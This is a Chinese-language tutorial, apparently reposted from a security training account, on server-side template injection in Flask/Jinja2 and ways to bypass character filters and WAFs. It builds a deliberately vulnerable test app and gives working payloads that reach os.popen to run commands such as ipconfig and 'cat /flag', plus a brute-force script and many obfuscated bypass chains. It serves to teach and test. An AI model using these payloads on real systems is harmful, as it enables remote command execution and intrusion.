SSTI注入WAF绕过篇

admin 2024年6月3日09:59:18评论24 views字数 11982阅读39分56秒阅读模式
本文由掌控安全学院 -  我是大白 投稿

什么是SSTI

SSTI,其中文名为服务端模板注入。

首先我们需要先了解一下:什么是模板引擎

模板引擎是为了使用户界面与业务数据分离而产生,它可以生成特定格式的文档,利用模板引擎来生成前端的 HTML 代码,模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 HTML 页面,然后反馈给浏览器,呈现在用户面前。

在一些业务场景下,有根据不同用户的输入来渲染生成不同的页面的需求,而此时,就需要使用到模板引擎来对页面进行渲染,简单来说,模板就是一种语法(数据格式),将数据(用户数据:变量)塞到模板(HTML代码框架)中,然后再将模板给到模板引擎,模板引擎根据所提供的模板渲染页面(生成相应的HTML页面返回给浏览器)。

那么在这个过程中,如果数据是由用户提供,并且未做严格过滤,就有可能导致模板引擎根据用户提供的内容进行解析,从而执行相应的恶意代码,导致SSTI。

本质上:一是变量可控,二是模板引擎解析。

常见的模板引擎

PHP: Smarty, Twig, BladeJAVA: JSP, FreeMarker, VelocityPython: Jinja2, django, tornadoPHPTwig模板变量:{{%s}}Smarty模板变量:{%s}Blade模板变量:{{%s}}PythonJinja2模板变量:{{%s}}Tornado模板变量:{{%s}}Django模板变量:{{ }}JavaFreeMarker模板变量:<#%s>``${%s}Velocity模板变量:#set($x=1+1)${x}

搭建SSTI测试环境

这个相对简单,前提条件:安装python,并安装flask库:pip install flask

在test.py中编写以下代码:

from flask import Flask# 导入flask库# 创建Flask对象,传入的第一个参数为模块或包名,此刻为文件本身app = Flask(__name__)#使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL / 上,这里把helloworld这个函数与这个url绑定,当你访问 / ,我就执行hello_world()函数,返回给页面一个'Hello World!'@app.route('/')def hello_world(): return 'Hello World!'if __name__ == '__main__': app.run() # 启动服务

运行后访问:http://127.0.0.1:5000,同时控制台也会打印访问日志。

SSTI注入WAF绕过篇

SSTI注入WAF绕过篇

模板渲染

在python flask模块中,默认使用的模板引擎是jinja2,关于jinja2的详细内容请参考:https://docs.jinkan.org/docs/jinja2/

根据jinjia2的使用规则,默认是我们需要在python代码的同级目录下创建一个名为templates目录,并且在其中编写HTML文件来作为渲染要用到的模板:

在templates目录下写一个index.html,内容如下,{{}}中就是我们需要给引擎提供的数据,其值是一个变量

<html> <head> <title>SSTI TEST</title> </head> <body> <h1>Hello, {{name}}</h1> </body></html>

在test.py中写入下代码:

from flask import Flask, request, render_templateapp = Flask(__name__)@app.route('/',methods=['GET'])def hello_name(): req = request.args.get('name') # 获取get传参 name return render_template('index.html',name=req) # 将GET传参name传递给模板引擎if __name__ == '__main__': app.run(host='0.0.0.0',port=5000,debug=True) # 开启调试模式,指定web端口为 5000

启动程序,访问并传参name=hacker001,页面成功返回H1标签的内容,并且名字随name参数值的变化而变化。

SSTI注入WAF绕过篇

同时尝试一下SSTI常用的payload,看看会不会进行解析:{{7*7}},可以看到并没有得到我们想要的49,说明此时还不具有SSTI漏洞,那么何种情况下会产生漏洞呢?

SSTI注入WAF绕过篇

漏洞成因

当使用了危险的渲染函数时,就有可能产生SSTI:

render_template_string 函数用于从字符串中渲染模板,它接受一个包含模板内容的字符串作为参数,并直接从该字符串中渲染模板,而不需要从文件中加载模板。

将test.py改为:

from flask import Flask, request, render_template_stringapp = Flask(__name__)@app.route('/',methods=['GET'])def hello_name(): req = request.args.get('name') # 获取get传参 name html = ''' <html> <head> <title>SSTI TEST</title> </head> <body> <h1>Hello, %s </h1> </body> </html>'''%(req) # %s是占位符 return render_template_string(html) # 从字符串中获取模板并渲染if __name__ == '__main__': app.run(host='0.0.0.0',port=5000,debug=True) # 开启调试模式,指定web端口为 5000

此时再传参{{7*7}},成功解析得到49,而SSTI漏洞也就此产生了

SSTI注入WAF绕过篇

问题产生的关键就在于,变量传过来之后,是以占位符 (%s) 的形式直接嵌入 还是以传参的方式(req=req)嵌入,如果是以占位符的形式嵌入,此时用户的输入将直接作为模板的一部分,那么模板引擎执行{{}}中的表达式(即代码)然后将执行结果嵌入HTML并返回,如果是以传参的形式嵌入,那么模板引擎则将变量的内容当做普通字符串(并且会对一些字符串进行转义处理,例如</>)返回。

from flask import Flask, request, render_template_stringapp = Flask(__name__)@app.route('/',methods=['GET'])def hello_name(): req = request.args.get('name') # 获取get传参 name html = ''' <html> <head> <title>SSTI TEST</title> </head> <body> <h1>Hello, {{req}} </h1> </body> </html>''' print(req) return render_template_string(html,req=req) # 从字符串中获取模板并渲染if __name__ == '__main__': app.run(host='0.0.0.0',port=5000,debug=True) # 开启调试模式,指定web端口为 5000

SSTI注入WAF绕过篇

不过显然,使用render_template,对专门的templates模板目录进行HTML模板维护更符合实践,因此这里漏洞产生的原因多半是懒惰造成,使用类似于render_template_string的危险函数,对字符串进行模板渲染,并且将用户的输入以占位符的形式嵌入直接作为了模板内容的一部分,并且未做严格的过滤。

前置知识:内置属性 和 内置类

在利用ssti之前,有必要了解python中的一些内置属性 和 内置的类。并且,在python中,一切皆对象,随便定义一个变量,其也可以称作变量。

__class__

__class__内置属性用于返回某个对象其所属的类。最终类都为type

SSTI注入WAF绕过篇

__base__

__base__内置属性用于返回类的直接父类中的第一个(基类)

如下,list类的一个直接父类是 object,而object类的直接父类为None,再往上就没有。

SSTI注入WAF绕过篇

还有一个内置属性为__bases__,其作用是返回类的所有直接父类,返回的数据格式是元组格式。可以以索引的方式获取其中的值。

SSTI注入WAF绕过篇

__mro__

__mro__内置属性用于获取某个类的调用顺序,通过这个内置属性可以看清类的继承关系和顺序,其返回数据为元组,通过索引可以访问其中的元素。

SSTI注入WAF绕过篇

__subclasses__()

__subclasses__()方法可以获取到类的所有子类。返回的数据为列表。

SSTI注入WAF绕过篇

常用过滤器 和 内置模块

对于过滤器,这里简单理解就是:一些可以调用的内置方法(或者所函数),可以用于实现一些功能,比如reverse(),反转字符串,并且传参方式和使用语法上有所差异。

过滤器使用理解:Jinja2 教程 - 第 4 部分 - 模板过滤器 - DaisyLinux:https://www.cnblogs.com/a00ium/p/16058582.html

常见过滤器:length() # 获取一个序列或者字典的长度并将其返回int():# 将值转换为int类型;float():# 将值转换为float类型;lower():# 将字符串转换为小写;upper():# 将字符串转换为大写;reverse():# 反转字符串;replace(value,old,new):# 将value中的old替换为newlist():# 将变量转换为列表类型;string():# 将变量转换成字符串类型;join():# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用attr(): # 获取对象的属性count: # 用于计算某个字符串或列表中某个元素出现的次数

此外,在flask/jinja2中,可以使用相关模块(函数)来向上查找,获取基类

configrequesturl_forget_flashed_messagesselfredirectlipsumurl_for.__class__{{url_for.__globals__['os']['popen']('ipconfig').read()}}

SSTI语句检测与构造

这里就放一张网上经常用到的一张流程图片,根据这个流程,检测后端是什么模板引擎,然后构造响应的payload. 红线表示,绿线表示

SSTI注入WAF绕过篇

以python jinja2为例,来尝试构造SSTI语句:

${7*7}未解析

SSTI注入WAF绕过篇

尝试{{7*7}},解析

SSTI注入WAF绕过篇

尝试{{7*'7'}},解析,后端可能为jinja2 或Twig

SSTI注入WAF绕过篇

尝试python payload,获取列表对象所属的类{{[].__class__}}

SSTI注入WAF绕过篇

接下来,获取该类的基类,即object

{{[].__class__.__base__}}{{[].__class__.__bases__[0]}}{{[].__class__.__bases__[-1]}}{{[].__class__.__mro__[-1]}}{{[].__class__.__mro__[1]}}

SSTI注入WAF绕过篇

拿到基类之后,使用__subclasses__()寻找可以利用的子类,寻找那些有回显的或者可以执行命令的类大多数利用的是os._wrap_close这个类,可以写一个python脚本来寻找可利用类对应的下标

{{[].__class__.__base__.__subclasses__()}}{{[].__class__.__bases__[0].__subclasses__()}}{{[].__class__.__bases__[-1].__subclasses__()}}{{[].__class__.__mro__[-1].__subclasses__()}}{{[].__class__.__mro__[1].__subclasses__()}}

SSTI注入WAF绕过篇

import requestsfor i in range(300): url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}" res = requests.get(url=url) if 'os._wrap_close' in res.text: print(i) break

SSTI注入WAF绕过篇

获取到可利用的类之后,查看该类的__init__内置方法有没有被重写,是否为function类型,因为如果是构造器类型,那么将无法拥有__globals__内置属性。

{{[].__class__.__base__.__subclasses__()[139].__init__}}

SSTI注入WAF绕过篇

通过__globals__属性,查看是否有能够利用的方法

{{[].__class__.__base__.__subclasses__()[139].__init__.__globals__}}

SSTI注入WAF绕过篇

调用方法,执行命令:

{{[].__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('ifconfig').read()}}

SSTI注入WAF绕过篇

可以执行命令的内置模块不止一种,例如__builtins__中的eval(),核心就在于向上查找,查找在全局变量中,那些可以命令执行并且可以将结果回显的函数。

SSTI绕过

当然,在一些情况下,一些payload中的特殊字符可能会进行过滤,因此就需要去学习一些绕过方法了。

在test.py中写如下代码,将要过滤的字符添加进黑名单,模拟过滤情况

from flask import Flask, render_template_string, requestimport re, osblack_list = ["."] # 黑名单def Filter(string: str): if re.search("|".join(map(re.escape, black_list)), string, re.I): return 1 return 0app = Flask(__name__)@app.route("/")def index(): req = request.args.get("name") html = """<!DOCTYPE html> <html lang="en"> <head> <title>SSTI_TEST</title> </head> <body> {%% if req %%} {%% if req == 1 %%} <h3>NONONO</h3> {%% else %%} <h3>hello, %s</h3> {%% endif %%} {%% endif %%} </body> </html>""" % (req) return render_template_string(html, req=(Filter(str(req)) if Filter(str(req)) else req))if __name__ == "__main__": app.run("0.0.0.0", 5000)

.绕过

启动服务,在name中输入带点的字符:

SSTI注入WAF绕过篇

[] 代替

{{"".__class__}} => {{""['__class__']}}{{"".__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('ipconfig').read()}} =>{{""['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('ipconfig')['read']()}}{{url_for['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('ipconfig')['read']()}}

SSTI注入WAF绕过篇

过滤器调用绕过

attr() 过滤器,用于获取某对象的属性{{"".__class__}} => {{""|attr('__class__')}}{{""|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('ipconfig')|attr('read')()}}# __getitem__() 内置方法:用于获取列表、字典、元组等对象的属性值

_绕过

向黑名单中添加_字符过滤。

涉及到select过滤器,字符串拼接使用~

SSTI注入WAF绕过篇

使用过滤器获取 _

{% set a = (()|select)%}{%print a%} # <generator object select_or_reject at 0x000001D209255190># 将<generator object select_or_reject at 0x000001D20A1D8120> 转换成字符串{% set a = (()|select|string)%}{%print a%} # <generator object select_or_reject at 0x000001D20A1D8120># 将字符串转换成列表{% set a=()|select|string|list %}{% print(a) %}# 获取`_`字符,hello, _{% set a=(()|select|string|list)[24] %}{% print(a) %}# 基于.过滤的情况下, 改造payload执行ipconfig{% set a=(()|select|string|list)[24] %}{%set b=(""|attr(a~a~'class'~a~a)|attr(a~a~'base'~a~a)|attr(a~a~'subclasses'~a~a)()|attr(a~a~'getitem'~a~a)(139)|attr(a~a~'init'~a~a)|attr(a~a~'globals'~a~a)|attr(a~a~'getitem'~a~a)('popen')('ipconfig')|attr('read')())%}{%print(b)%}

SSTI注入WAF绕过篇

十六进制编码绕过

jinja2模板引擎会对16进制自动转换字符串

_ => x5f # x表示十六进制,5f是 _ 的十六进制表示{%set a='x5f'%}{%print(a)%} # 输出 hello, _{{()["x5fx5fclassx5fx5f"]}} ={{().__class__}}{{""|attr('x5fx5fclassx5fx5f')|attr('x5fx5fbasex5fx5f')|attr('x5fx5fsubclassesx5fx5f')()|attr('x5fx5fgetitemx5fx5f')(139)|attr('x5fx5finitx5fx5f')|attr('x5fx5fglobalsx5fx5f')|attr('x5fx5fgetitemx5fx5f')('popen')('ipconfig')|attr('read')()}}在线字符串替换:http://www.jsons.cn/txtreplace/

绕过[]

[]字符加入黑名单。

__getitem__()内置方法绕过

此payload适用:{{""|attr('x5fx5fclassx5fx5f')|attr('x5fx5fbasex5fx5f')|attr('x5fx5fsubclassesx5fx5f')()|attr('x5fx5fgetitemx5fx5f')(139)|attr('x5fx5finitx5fx5f')|attr('x5fx5fglobalsx5fx5f')|attr('x5fx5fgetitemx5fx5f')('popen')('ipconfig')|attr('read')()}}().__class__.__bases__[0] => ().__class__.__bases__.__getitem__(0)

绕过{{

{{加入黑名单。

jinja2语法{%%}

{%set a=(""|attr('x5fx5fclassx5fx5f')|attr('x5fx5fbasex5fx5f')|attr('x5fx5fsubclassesx5fx5f')()|attr('x5fx5fgetitemx5fx5f')(139)|attr('x5fx5finitx5fx5f')|attr('x5fx5fglobalsx5fx5f')|attr('x5fx5fgetitemx5fx5f')('popen')('ipconfig')|attr('read')())%}{% print(a) %}可以用for循环 + if判断{%for i in (''|attr('x5fx5fclassx5fx5f')|attr('x5fx5fbasex5fx5f')|attr('x5fx5fsubclassesx5fx5f')())%}{%if (i|attr('x5fx5fnamex5fx5f')) == 'x5fwrapx5fclose'%}{%print (i|attr('x5fx5finitx5fx5f')|attr('x5fx5fglobalsx5fx5f')|attr('x5fx5fgetitemx5fx5f')('popen')('ipconfig')|attr('read')())%}{%endif%}{%endfor%}

绕过单引号 和 双引号

'" 加入黑名单。

request方法绕过

request在flask中可以访问基于 HTTP 请求传递的所有信息,这里的request并非python的函数,而是在flask内部的函数。

request.args.key #获取get传入的key的值request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖getrequest.cookies.key #获取cookies传入参数request.headers.key #获取请求头请求参数request.data #获取post传入参数(Content-Type:a/b)request.json #获取post传入json参数 (Content-Type: application/json)

{%set a=(()|attr(request.args.a))%}{%print(a)%}&a=__class__{%set a%3D(()|attr(request.args.a))%}{%print(a)%}&a=__class__# 但显然,需要 . 没有过滤

其他过滤

其他过滤对症下药,使用搜索引擎查看前辈们的文章获取灵感即可。

注意事项

在URL中构造payload时,最好对payload进行一次URL编码,防止一些特殊字符如=/+等特殊字符引发歧义。

{%set nine=dict(aaaaaaaaa=a)|join|count%}{%set eighteen=nine+nine%}{%set pop=dict(pop=a)|join%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%print(xhx)%} =>%7B%25set%20nine%3Ddict%28aaaaaaaaa%3Da%29%7Cjoin%7Ccount%25%7D%7B%25set%20eighteen%3Dnine%2Bnine%25%7D%7B%25set%20pop%3Ddict%28pop%3Da%29%7Cjoin%25%7D%7B%25set%20xhx%3D%28lipsum%7Cstring%7Clist%29%7Cattr%28pop%29%28eighteen%29%25%7D%7B%25print%28xhx%29%25%7D

SSTI注入WAF绕过篇

WAF绕过

request方法:{%set r=dict(read=a)|join%}{%set i=dict(ipconfig=a)|join%}{%set p=dict(popen=a)|join%}{%set o=dict(os=a)|join%}{%set e=dict(e=a)|join%}{%set a=dict(ge=a,t=a)|join%}{%set b=dict(ar=a,gs=a)|join%}{%set g=dict(g=a)|join%}{{lipsum|attr(request|attr(b)|attr(a)(g))|attr(request|attr(b)|attr(a)(e))(o)|attr(p)(i)|attr(r)()}}&g=__globals__&e=__getitem__下划线字符查找,字符拼接绕过:{%set n=dict(aaaaaaaaa=a)|join|count%}{%set x=(lipsum|string|list|attr(dict(pop=a)|join)(n+n))%}{{lipsum|attr(x~x~dict(glo=a,bals=a)|join~x~x)|attr(x~x~dict(ge=a,titem=a)|join~x~x)(dict(os=a)|join)|attr(dict(popen=a)|join)(dict(ipconfig=a)|join)|attr(dict(read=a)|join)()}}字符替代,缩短字符长度,组合函数调用:字符过滤黑名单:[ "_", "'", '"', "[", ".", "0", "1", "2", "3", "4", "5","6", "7", "8", "9", "args", "get", "globals", "cat", "flag"] # ['.',"_",'[',']','{{',"'",'"']绕过payload:{%set d=dict%}{%set a=d(ge=a,t=a)|join%}{%set b=d(ar=a,gs=a)|join%}{%set u=request|attr(b)|attr(a)%}{{lipsum|attr(u(d(g=a)|join))|attr(u(d(e=a)|join))(d(os=a)|join)|attr(d(popen=a)|join)(u(d(m=a)|join))|attr(d(read=a)|join)()}}&g=__globals__&e=__getitem__&m=cat /flag{%set d=dict%}{%set a=d(ge=a,t=a)|join%}{%set b=d(ar=a,gs=a)|join%}{%set u=request|attr(b)|attr(a)%}{{lipsum|attr(u(d(g=a)|join))|attr(u(d(e=a)|join))(d(os=a)|join)|attr(u(d(n=a)|join))(u(d(m=a)|join))|attr(u(d(r=a)|join))()}}&g=__globals__&e=__getitem__&m=cat /flag&n=popen&r=read

参考资料

  • flask模板注入(ssti),一篇就够了_flask"+"ssti"+"总结-CSDN博客: https://blog.csdn.net/qq_59950255/article/details/123215817
  • https://tttang.com/archive/1698/#toc_ssti
  • Python——flask漏洞探究 - PlumK - 博客园 :https://www.cnblogs.com/Rasang/p/12181654.html
  • 最全SSTI模板注入waf绕过总结(6700+字数!)_ssti绕过点:  https://blog.csdn.net/2301_76690905/article/details/134301620
  • CTFshow——SSTI_ctfshow ssti-CSDN博客(过滤器介绍 和 flask内置方法介绍): https://blog.csdn.net/weixin_45669205/article/details/114373785
  • SSTI长度绕过,config: https://blog.csdn.net/weixin_43995419/article/details/126811287
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

SSTI注入WAF绕过篇

原文始发于微信公众号(掌控安全EDU):SSTI注入WAF绕过篇

 


免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月3日09:59:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSTI注入WAF绕过篇https://cn-sec.com/archives/2806727.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息